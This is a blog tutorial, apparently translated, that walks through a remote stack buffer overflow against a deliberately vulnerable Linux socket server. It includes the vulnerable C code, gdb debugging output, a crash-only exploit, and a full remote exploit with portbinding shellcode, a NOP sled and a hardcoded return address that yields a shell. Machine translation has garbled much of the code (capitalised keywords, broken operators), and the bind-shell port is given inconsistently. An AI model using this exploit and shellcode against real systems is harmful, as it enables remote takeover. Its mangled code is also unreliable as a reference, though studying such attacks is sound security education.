Note: many of my friends are familiar with buffer overflow, and I have provided many tutorials on using buffer overflow in windows (I have also written several articles ). But I haven't seen the complete overflow tutorial in linux (maybe my own eyes are blind ). I found this article in a foreign forum today. I feel this article is a very good basic tutorial, so I decided to translate it for your appreciation, exercise yourself. (In fact, after reading the entire article, I wrote it according to my own understanding. Almost no translation is available)
Translation:
Before reading this article, I suppose everyone will use c to write some basic socket programs and understand local overflow. OK! First, write a program with a vulnerability on the server. The Code is as follows:
# Include <stdio. h>
# Include <netdb. h>
# Include <netinet/in. h>
# Define BUFFER_SIZE 1024
# Define NAME_SIZE 2048
Int handling (int c)
{
Char buffer [BUFFER_SIZE], name [NAME_SIZE];
Int bytes;
Strcpy (buffer, "My name is :");
Bytes = send (c, buffer, strlen (buffer), 0 );
If (bytes =-1)
Return-1;
Bytes = recv (c, name, sizeof (name), 0 );
If (bytes =-1)
Return-1;
Name [bytes-1] = '\ 0 ';
Sprintf (buffer, "Hello % s, nice to meet you! \ R \ n ", name); // copy the name array directly to the buffer array without a boundary check
Bytes = send (c, buffer, strlen (buffer), 0 );
If (bytes =-1)
Return-1;
Return 0;
}
Int main (int argc, char * argv [])
{
Int s, c, cli_size;
Struct sockaddr_in srv, cli;
If (argc! = 2)
{
Fprintf (stderr, "usage: % s port \ n", argv [0]);
Return 1;
}
S = socket (AF_INET, SOCK_STREAM, 0 );
If (s =-1)
{
Perror ("socket () failed ");
Return 2;
}
Srv. sin_addr.s_addr = INADDR_ANY;
Srv. sin_port = htons (unsigned short int) atol (argv [1]);
Srv. sin_family = AF_INET;
If (bind (s, & srv, sizeof (srv) =-1)
{
Perror ("bind () failed ");
Return 3;
}
If (listen (s, 3) =-1)
{
Perror ("listen () failed ");
Return 4;
}
For (;;)
{
C = accept (s, & cli, & cli_size );
If (c =-1)
{
Perror ("accept () failed ");
Return 5;
}
Printf ("client from % s", inet_ntoa (cli. sin_addr ));
If (handling (c) =-1)
Fprintf (stderr, "% s: handling () failed", argv [0]);
Close (c );
}
Return 0;
}
The program is very simple. The command line obtains the port parameters and listens for connections on the specified port. Compile and call this program as follows:
User @ linux :~ /> Gcc vulnerable. c-o vulnerable
User @ linux :~ />./Vulnerable 8080
Next I want to check some addresses of this program to see how it is built. We use gdb for debugging:
User @ linux ~ /> Gdb vulnerable
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
Welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-suse-linux "...
(Gdb) run 8080
Starting program:/home/user/directory/vulnerable 8080
Now the program has listened to the connection on port 8080, and then we can use telnet or netcat to connect to port 8080:
User @ linux :~ /> Telnet to localhost 8080
Trying: 1...
Telnet: connect to address: 1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
My name is: Robin
, Nice to meet you!
Connection closed by foreign host.
User @ linux :~ />
This simple server program simply obtains the name and then returns the name to the screen. Let's continue!
After the above operation, the gdb debugger window will output the following information:
Client from www.2cto.com 0xbffff28c
/* Don't be confused because the address is different on your machine, because on my machine, the address is 0xbffff28c */
Let's start the test. telnet to port 8080 again and then enter the characters exceeding 1024 bytes after "My name is:..." prompt:
User @ linux :~ /> Telnet to localhost 8080
Trying: 1...
Telnet: connect to address: 1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
My name is: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Then you will find that the connection is interrupted! Let's take a look at the output of gdb:
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(Gdb)
// Do not close gdb
As we can see, the eip value is set to 0x41414141. Maybe you will ask why? Let me explain it:
When we input more than 1024 characters, the program will try to copy name [2048] to buffer [1024: note that the line I added the comment in the original program above) Because name [2048] is 1024 bytes larger than buffer [1024, therefore, the extra bytes will overwrite the buffer outside buffer [1024], including the stored eip value (this is the return address pushed into the stack when the function is called ), our buffer will be like the following:
Xxxxxxxx-name-2048-bytes-xxxxxxxxxx
[Xxxxx buffer-only-1024-bytes xxx] [EIP]
// Do not forget that the eip is a value of 4 bytes.
When the function returns, the previously saved eip value in the stack will pop up to the eip register and jump to this address for further execution. However, because we have replaced the stored eip with 0x41414141, the program will jump to an incorrect address for execution, resulting in a "segmentation fault" error.
At this point, we can write the exploitation program of the D. O.S version of this vulnerability:
# Include <stdio. h>
# Include <netinet/in. h>
# Include <sys/socket. h>
# Include <sys/types. h>
# Include <netdb. h>
Int main (int argc, char ** argv)
{
Struct sockaddr_in addr;
Struct hostent * host;
Char buffer [2048];
Int s, I;
If (argc! = 3)
{
Fprintf (stderr, "usage: % s
Exit (0 );
}
S = socket (AF_INET, SOCK_STREAM, 0 );
If (s =-1)
{
Perror ("socket () failed \ n ");
Exit (0 );
}
Host = gethostbyname (argv [1]);
If (host = NULL)
{
Herror ("gethostbyname () failed ");
Exit (0 );
}
Addr. sin_addr = * (struct in_addr *) host-> h_addr;
Addr. sin_family = AF_INET;
Addr. sin_port = htons (atol (argv [2]);
If (connect (s, & addr, sizeof (addr) =-1)
{
Perror ("couldn't connect so server \ n ");
Exit (0 );
}
/* Not difficult only filling buffer with A's... den sending nothing more */
For (I = 0; I <2048; I ++)
Buffer [I] = 'a ';
Printf ("buffer is: % s \ n", buffer );
Printf ("buffer filled... now sending buffer \ n ");
Send (s, buffer, strlen (buffer), 0 );
Printf ("buffer sent. \ n ");
Close (s );
Return 0;
}
To further exploit this vulnerability, we need to find the location of the returned address. Let's take a look at how to use gdb to find the location of the returned address:
Next to the gdb debug window above (I hope you didn't close it), input: x200bx $ esp-200 and get the following result:
(Gdb) x/200bx $ esp-200
0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
--- Type <return> to continue, or q <return> to quit ---
We know that we have covered the entire buffer zone, so we can pick out an address from it as the return address (which will tell you why). In fact, we guess this address. Maybe you know the NOP technique, which can make our exploit work better, or make it easier for us to guess the return address. It should be noted that we should not pick from the line close to 0x41. We will use NOPS to overwrite it from the center. Here we will pick the address 0xbffff5ec.
Note: The author of this article does not explain why this is done. In fact, the reason is very simple. Let's take the address 0xbffff5ec as an example. The author overwrites the buffer starting with this address to NOPS (NOPS slider ), then, at the end of the constructed buffer, replace a buffer with 0xbffff5ec, so there will certainly be a 0xbffff5ec that overwrites the eip. When the function returns, it will jump to 0xbffff5ec for execution, this place is the NOP command, so it will slide along the NOPS slider to our shellcode.
The constructed buffer is as follows:
| NOPS | ...... | Shellcode | RET | ...... | RET |
Well, we can use the returned address we picked out (although this address is not necessarily accurate) to construct our exploit code:
1. Find an active connection shellcode (currently there is no shortage of shellcode on the network ).
2. Declare a new buffer with more than 1024 bytes, such as 1064 bytes, as long as it can overwrite the eip.
3. Fill the buffer with NOP: memset (buffer, 0x90,106 4 );
4. copy shellcode to the buffer: memcpy (buffer + 1001-sizeof (shellcode), shellcode, sizeof (shellcode); here we put shellcode in the middle of the buffer, why? If there is enough NOP instruction fill at the beginning of the buffer, the chance for shellcode to be executed is even greater.
5. buffer [1000] = 0x90; // 0x90 is the hexadecimal form of NOP.
6. Let's copy the returnaddress at the end of the buffer
Copy the return address to the end of the buffer:
For (I = 1022; I <1059; I + = 4)
{
(Int *) & buffer) = RET;
// RET indicates the return address, which is defined by # define.
}
We know that the buffer end with 1024 bytes, So we copy the return address from 1022 and continue to the location of 1059 bytes.
7. end with a '\ 0' at the end of the buffer we constructed: buffer [1063] = 0x0;
After the buffer is constructed, the following code is sent to the vulnerable host. The exploit code is as follows:
/* Simple remote exploit, which binds a shell on port 3789
* By Tron
*
* After return address was overwritten, you can connect
* With telnet or netcat to the victim host on Port 3789
* After you logged in... there's nothing, but try to enter "id;" (don't forget the semicolon)
* So you shoshould get an output, OK you 've got a shell * g *. Always use:
*
* <Command>;
*
* Execute.
*/
# Include <stdio. h>
# Include <netdb. h>
# Include <netinet/in. h>
// Portbinding Shellcode
Char shellcode [] =
"\ X89 \ xe5 \ x31 \ xd2 \ xb2 \ x66 \ x89 \ xd0 \ x31 \ xc9 \ x89 \ xcb \ x43 \ x89 \ x5d \ xf8"
"\ X43 \ x89 \ x5d \ xf4 \ x4b \ x89 \ x4d \ xfc \ x8d \ x4d \ xf4 \ xcd \ x80 \ x31 \ xc9 \ x89"
"\ X45 \ xf4 \ x43 \ x66 \ x89 \ x5d \ xec \ x66 \ xc7 \ x45 \ xee \ x0f \ x27 \ x89 \ x4d \ xf0"
"\ X8d \ x45 \ xec \ x89 \ x45 \ xf8 \ xc6 \ x45 \ xfc \ x10 \ x89 \ xd0 \ x8d \ x4d \ xf4 \ xcd"
"\ X80 \ x89 \ xd0 \ x43 \ x43 \ xcd \ x80 \ x89 \ xd0 \ x43 \ xcd \ x80 \ x89 \ xc3 \ x31 \ xc9"
"\ Xb2 \ x3f \ x89 \ xd0 \ xcd \ x80 \ x89 \ xd0 \ x41 \ xcd \ x80 \ xeb \ x18 \ x5e \ x89 \ x75"
"\ X08 \ x31 \ xc0 \ x88 \ x46 \ x07 \ x89 \ x45 \ x0c \ xb0 \ x0b \ x89 \ xf3 \ x8d \ x4d \ x08"
"\ X8d \ x55 \ x0c \ xcd \ x80 \ xe8 \ xe3 \ xff/bin/sh ";
// Standard offset (probably must be modified)
# Define RET 0xbffff5ec
Int main (int argc, char * argv []) {
Char buffer [1064];
Int s, I, size;
Struct sockaddr_in remote;
Struct hostent * host;
If (argc! = 3 ){
Printf ("Usage: % s target-ip port \ n", argv [0]);
Return-1;
}
// Filling buffer with NOPs
Memset (buffer, 0x90,106 4 );
// Copying shellcode into buffer
Memcpy (buffer + 1001-sizeof (shellcode), shellcode, sizeof (shellcode ));
// The previous statement causes a unintential Nullbyte at buffer [0, 1000]
Buffer [1000] = 0x90;
// Copying the return address multiple times at the end of the buffer...
For (I = 1022; I <1059; I + = 4 ){
* (Int *) & buffer [I]) = RET;
}
Buffer [1063] = 0x0;
// Getting hostname
Host = gethostbyname (argv [1]);
If (host = NULL)
{
Fprintf (stderr, "Unknown Host % s \ n", argv [1]);
Return-1;
}
// Creating socket...
S = socket (AF_INET, SOCK_STREAM, 0 );
If (s <0)
{
Fprintf (stderr, "Error: Socket \ n ");
Return-1;
}
// State Protocolfamily, then converting the hostname or IP address, and getting port number
Remote. sin_family = AF_INET;
Remote. sin_addr = * (struct in_addr *) host-> h_addr );
Remote. sin_port = htons (atoi (argv [2]);
// Connecting with destination host
If (connect (s, (struct sockaddr *) & remote, sizeof (remote) =-1)
{
Close (s );
Fprintf (stderr, "Error: connect \ n ");
Return-1;
}
// Sending exploit string
Size = send (s, buffer, sizeof (buffer), 0 );
If (size =-1)
{
Close (s );
Fprintf (stderr, "sending data failed \ n ");
Return-1;
}
// Closing socket
Close (s );
}
The compilation test results are as follows:
User @ linux ~ /> Gcc exploit. c-o exploit
User @ linux ~ /& Gt;./exploit
If the overflow succeeds, we will get a shell at Port 3879:
User @ linux ~ /> Telnet
Id
Uid = 500 (user) gid = 500 (user) groups = 500 (user)
As you can see, we have succeeded!
Note: after the article is completed, note that the return address in exploit is hardcoded, therefore, overflow may fail on different machines due to different addresses. Therefore, you need to manually use gdb for debugging. This is a very basic overflow article. I will share some more in-depth overflow articles with you later.
From http://hi.baidu.com/evilrapper/blog/item/9c09df09cbc15bd03ac76337.html